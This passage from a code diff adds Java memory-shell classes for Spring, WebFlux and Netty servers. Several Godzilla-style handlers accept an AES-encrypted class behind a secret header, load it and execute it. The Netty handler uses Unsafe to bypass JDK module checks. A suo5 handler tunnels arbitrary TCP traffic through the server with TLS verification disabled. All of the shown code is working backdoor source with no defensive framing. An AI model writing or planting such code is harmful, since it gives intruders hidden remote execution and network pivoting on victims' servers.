f.equals(request);
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ex) {
ex.printStackTrace();
}
return Mono.just(result.toString());
});
return ServerResponse.ok().body(bufferStream, String.class);
} catch (Exception ex) {
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,114 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaHandlerMethod extends ClassLoader {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaHandlerMethod() {
}
public GodzillaHandlerMethod(ClassLoader parent) {
super(parent);
}
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
try {
Object bufferStream = exchange.getFormData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ex) {
result.append(ex.getMessage());
}
return Mono.just(result.toString());
});
return ResponseEntity.ok(bufferStream);
} catch (Exception ex) {
return ResponseEntity.ok(ex.getMessage());
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,132 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaInterceptor(ClassLoader c) {
super(c);
}
public GodzillaInterceptor() {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
}
@@ -0,0 +1,162 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelDuplexHandler;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
*/
@ChannelHandler.Sharable
public class GodzillaNettyHandler extends ChannelDuplexHandler {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
private final StringBuilder requestBody = new StringBuilder();
private HttpRequest request;
private static Class<?> payload;
private static Class<?> defineClass(byte[] bytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if (msg instanceof HttpRequest) {
request = (HttpRequest) msg;
HttpHeaders headers = request.headers();
String value = headers.get(headerName);
if (value == null || !value.contains(headerValue)) {
ctx.fireChannelRead(msg);
return;
}
// 如果是当前 payload 进来不能调用 ctx.fireChannelRead(msg),不然的话下面不能拿到完整的 request body
}
if (msg instanceof HttpContent) {
HttpContent httpContent = (HttpContent) msg;
HttpHeaders headers = request.headers();
String value = headers.get(headerName);
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
if (value == null || !value.contains(headerValue)) {
ctx.fireChannelRead(msg);
return;
}
String content = httpContent.content().toString(CharsetUtil.UTF_8);
requestBody.append(content);
if (httpContent instanceof LastHttpContent) {
try {
String base64Str = URLDecoder.decode(requestBody.substring(pass.length() + 1), "UTF-8");
requestBody.setLength(0);
byte[] data = x(base64Decode(base64Str), false);
if (payload == null) {
payload = defineClass(data);
send(ctx, "");
return;
} else {
Object f = payload.newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
f.equals(arrOut);
f.equals(data);
f.toString();
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
}
return;
} catch (Exception ignored) {
}
}
ctx.fireChannelRead(msg);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
private void send(ChannelHandlerContext ctx, String context) throws Exception {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
static {
// webflux3 jdk17 bypass module
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, GodzillaNettyHandler.class, offset, module);
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaWebFilter extends ClassLoader implements WebFilter {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public Class<?> payload;
public GodzillaWebFilter() {
}
public GodzillaWebFilter(ClassLoader parent) {
super(parent);
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ignored) {
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,567 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5ControllerHandler() {
}
public Suo5ControllerHandler(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
return null;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return null;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5ControllerHandler p = new Suo5ControllerHandler(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,582 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
